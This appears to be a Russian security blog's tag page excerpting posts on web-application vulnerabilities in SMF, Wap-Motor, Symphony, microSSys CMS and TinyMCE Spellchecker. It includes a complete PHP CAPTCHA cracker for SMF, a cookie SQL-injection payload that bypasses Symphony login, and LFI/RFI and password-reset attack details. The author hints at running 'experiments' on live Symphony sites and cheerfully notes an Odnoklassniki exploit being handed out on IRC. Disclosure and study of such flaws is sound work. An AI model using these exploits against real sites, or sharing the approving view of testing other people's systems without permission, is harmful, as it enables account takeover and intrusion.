Tag: взлом

  • Уязвимости в Simple Machines Forum <= 1.1.5

    Обнаружил уязвимость в Simple Machines Forum <= 1.1.5, связанную с предсказуемостью кода подтверждения для смены пароля, а также CAPTCHA в модуле регистрации. Оба механизма используют в своем алгоритме функцию rand(), о недостатках которой я писал в прошлой статье.

    Сброс пароля администратора

    SMF выявляет случайное число, сгенерированное с помощью rand(), в виде md5-хэша в самой форме восстановления пароля (hidden параметр sc):

    <?php
    $_SESSION['rand_code'] = md5(session_id() . rand());
    $sc = $_SESSION['rand_code'];
    ?>

    Активационный ключ генерируется следующим образом:

    <?php
    $password = substr(preg_replace('/\W/', '', md5(rand())), 0, 10);
    ?>

    Так как максимальное значение случайного числа на win32 является 32767 и идентификатор сессии известен, то перебором md5-хэша можно получить случайное число. В win32 любое число, сгенерированное с помощью rand(), становится сидом для следующего числа, таким образом можно предугадать все последующие числа и вычислить активационный ключ.

    http://milw0rm.com/exploits/6392

    Вычисление кода CAPTCHA

    SMF выявляет случайное число в модуле регистрации (ссылки на изображения с кодом CAPTCHA):

    <?php
    $context['verificiation_image_href'] = $scripturl . '?action=verificationcode;rand=' . md5(rand());
    ?>

    Сам код CAPTCHA генерируется следующим образом:

    <?php
    $character_range = array_merge(range('A', 'H'), array('K', 'M', 'N', 'P'), range('R', 'Z'));
    // Generate a new code.
    $_SESSION['visual_verification_code'] = '';
    for ($i = 0; $i < 5; $i++)
    $_SESSION['visual_verification_code'] .= $character_range[array_rand($character_range)];
    ?>

    Функция array_rand() использует внутренний вызов rand(), поэтому определив перебором предыдущее случайное число в ссылках, можно вычислить сам код (опять-таки актуально только для win32).

    <?php
    
    /**
     * Simple Machines Forum <= 1.1.5 CAPTCHA cracker (win32)
     * by Raz0r (http://Raz0r.name/)
     */
    
    $url = "http://localhost/smf/";
    
    $html = file_get_contents("{$url}index.php?action=register");
    $out=array();
    preg_match("@rand=([0-9a-f]+)@i",$html,$out);
    if(isset($out[1])){
    	$rand = bfmd5($out[1]);
    	srand($rand);
    	$character_range = array_merge(range('A', 'H'), array('K', 'M', 'N', 'P'), range('R', 'Z'));
    	for ($i = 0; $i < 5; $i++) {
    		echo $character_range[array_rand($character_range)];
    	}
    }
    
    function bfmd5($md5) {
    	for($i=0;$i<=32767;$i++){
    		if($md5 == md5($i)) {
    			return $i;
    		}
    	}
    	return false;
    }
    ?>
  • Предсказываем случайные числа в PHP

    Стефан Эссер не перестает меня удивлять: в этот раз в своем блоге он рассказал об особенностях генерации случайных чисел в PHP, которые при особых условиях позволяют предугадывать случайные значения. Его находки открывают возможность для реализации совершенно новых атак – Cross Application Attacks, в основе которых лежит неправильное использование веб-приложениями функций для генерации случайных чисел. При этом одно веб-приложение, не имея полноценных уязвимостей, но обладающее погрешностью в вычислении случайных чисел, открывает дверь для реализации атаки на совершенно другое веб-приложение, находящееся на том же сервере. В качестве примера Стефан описал алгоритм проведения атаки на WordPress через дыру в phpBB2. Так как подтверждение его концепции в виде эксплоита отсутствует, я решил провести собственное исследование и написать рабочий PoC. После нескольких дней тестирования на локальном веб-сервере, я пришел к выводу, что уязвимость действительно имеет место, и ее эксплуатация вполне реальна. В результате мной был написан эксплоит для WordPress <= 2.6.1 посредством phpBB2, позволяющий сменить пароль администратора, не имея доступа к его почтовому ящику.

    (more…)

  • LFI/RFI-уязвимости в Wap-Motor 17.5

    Сайт разработчика: http://visavi.net/
    Уязвимые версии: Wap-Motor 17.5, возможно более ранние версии

    Описание: сценарий index.php подключает необходимые скрипты, первый из которых (template/start.php) извлекает данные в текущую символьную таблицу, допуская перезапись переменных:

    <?php
    extract($HTTP_GET_VARS);
    extract($HTTP_POST_VARS);
    extract($HTTP_COOKIE_VARS);
    extract($HTTP_SERVER_VARS);
    extract($HTTP_SESSION_VARS);
    ?>

    На основе переменных $p и $f составляется строка, которая впоследствии передается в функцию include (index.php@48-56):

    <?php
    if(empty($f)){$f='index';}
    echo $p.'/'.$f.'.'.$config_ras;
    $sfx = file($p.'/'.$f.'.'.$config_ras);
    if (!$sfx){
    	echo 'Файл с данными параметрами не найден!';
    }else{
    	include_once $p.'/'.$f.'.'.$config_ras;
    }
    ?>

    Система предполагает получение переменных $p и $f со стороны пользователя, однако проверка данных проводится только в массиве $_GET (index.php@23):

    <?php
    if(eregi("[^a-z0-9_-]",$_GET['f']) || eregi("[^a-z0-9_-]",$_GET['p'])){header ("Location: index.php?error&".SID); exit;}
    ?>

    При передаче параметров p и f в cookie или в POST-запросе существует возможность обхода фильтрации и внедрения произвольных данных в функцию include. (more…)

  • Обход авторизации в Symphony 2 Beta

    Сайт разработчика: http://21degrees.com.au/
    Уязвимые версии: Symphony 2 Beta до revision 5
    Уязвимый код в /symphony/lib/core/class.symphony.php@126-142:

    <?php
    public function isLoggedIn(){
      $un = $this->Cookie->get('username');
      $pw = $this->Cookie->get('pass');
      $id = $this->Database->fetchVar('id', 0, "SELECT `id` FROM `tbl_authors`
        WHERE `username` = '$un' AND `password` = '$pw' LIMIT 1");
      if($id){
        /* [...] */
      }
    /* [...] */
    }
    ?>

    Описание: данные в переменных $un (username) и $pw (password) не проверяются должным образом перед извлечением из массива $_COOKIE, что ведет к SQL-инъекции, позволяющей обойти авторизацию пользователей и получить права администратора. Для удачного осуществления атаки magic_quotes_gpc=off не требуется, так как система убирает все дополнительные слэши сама.
    Эксплоит: sym-[username]=%27+OR+1%3D1%2F%2A (необходимо передать в cookie)

  • Выполнение произвольных команд в Symphony 1.7.01

    Однажды я натолкнулся на Symphony – бесплатную платформу для публикации в web с открытым исходным кодом. Основное достоинство системы – использование XSLT в шаблонах, что является достаточно редким явлением среди платформ подобного рода. Сведений в багтраке по поводу обнаружения уязвимостей в Symphony я не нашел, поэтому без колебаний решил провести пен-тестинг движка с целью выявления какого-нибудь крупного бага. Было найдено несколько уязвимостей, которые в совокупности позволяли совершить произвольное выполнение команд. Выкладывать в багтрак найденные дыры я не стал, однако пару дней назад на официальном форуме Symphony обнаружили, что на многих сайтах с этой CMS появились некоторые изменения. Не скрою, кое-какие эксперименты я проводил. После выявления самими разработчиками некоторых багов в системе и публикации патча, смысла держать эксплоит не нахожу. Подробное описание уязвимостей идет ниже. (more…)

  • Pangolin: SQL-инъекции теперь не утомляют

    Нет-нет, pangolin – это не название препарата =) На самом деле это новый интрумент для быстрой и эффективной эксплуатации SQL-инъекций, разработанный китайскими хакерами, и переводится как “ящер”. По заявлению главного разработчика, это самая лучшая программа среди подобных; возможно это так и есть, ведь в Китае pangolin является самым популярным интрументом для работы со SQL-инъекциями. Признаться, ни за что бы не скачал эту программу, заявленной как “The best SQL-injector you’ve ever seen”, если бы не встретил восторженных комментариев на одном из зарубежных форумов, посвященных веб-безопасности. Мнения пользователей меня заинтриговали, и я решил проверить что из себя представляет этот чудо-зверь.

    (more…)

  • Эксплоит для одноклассников

    Сегодня обнаружил, что RST/GHC вдруг возродилась. Признаться, для меня это было открытие. Только теперь объединенная команда состоит еще из одной тимы: UKT. Кто это такие мне пока неизвестно. А вот сплоит для одноклассников теперь известен всем =) Сегодня его раздавали на IRC-канале всем желающим. (more…)

  • Инклуд удаленных файлов в microSSys CMS 1.5

    Обнаружил RFI в microSSys CMS, самой непрофессиональной CMS’ке, которую я когда-либо видел. Помнится был WCPS, который занимал в моем “почетном” рейтинге первое место, но эта CMS еще ужасней во всех отношениях, включая и безопасность. Вот хоронология моих действий:

    1. переписал файлы на локалхост
    2. открыл в браузере скрипт установки
    3. испугался и закрыл
    4. открыл исходный код index.php
    5. снова испугался, но перед тем, как закрыть заметил RFI

    CMS’ка настолько стремная, что str0ke с milw0rm’а отказался принимать уязвимость =) (more…)

  • Введение в XPath-инъекции

    XPath (XML Path Language) – это язык, который предназначен для произвольного обращения к частям XML документа. XML (eXtensible Markup Language) – это всем известный язык разметки, с помощью которого создаются XML документы, имеющие древовидную структуру. Пример простейшего XML документа:

    <?xml version="1.0" encoding="UTF-8"?>
    <foo>
    <bar param="value"/>
    </foo>

    XPath необходим для получения конкретной информации из XML документов; это достигается путем использования специальных операторов и выражений. Обращение к элементам XML документа с помощью XPath напоминает взаимодействие с файловой системой:
    /foo/bar
    Этот элементарный XPath-запрос возвратит элемент bar из XML документа выше:

    <?xml version="1.0" encoding="UTF-8"?>
    <foo>
    <bar param="value"/>
    </foo>

    (more…)

  • Spellchecker (TinyMCE module) Remote Command Execution

    Найдена уязвимость в модуле TinyMCE для проверки орфографии – Spellchecker. Данный модуль вместе с самим TinyMCE используется в последних версиях WordPress (ветка 2.5.*), однако эта уязвимость не является полноценной, так как встретить ее на реальном сервере в сети вряд ли можно. Несмотря на это, уязвимость, действительно, серьезная, так как она позволяет выполнить произвольные команды, поэтому я все же решил рассказать, как я ее нашел и что она из себя представляет (эксплоит прилагается). (more…)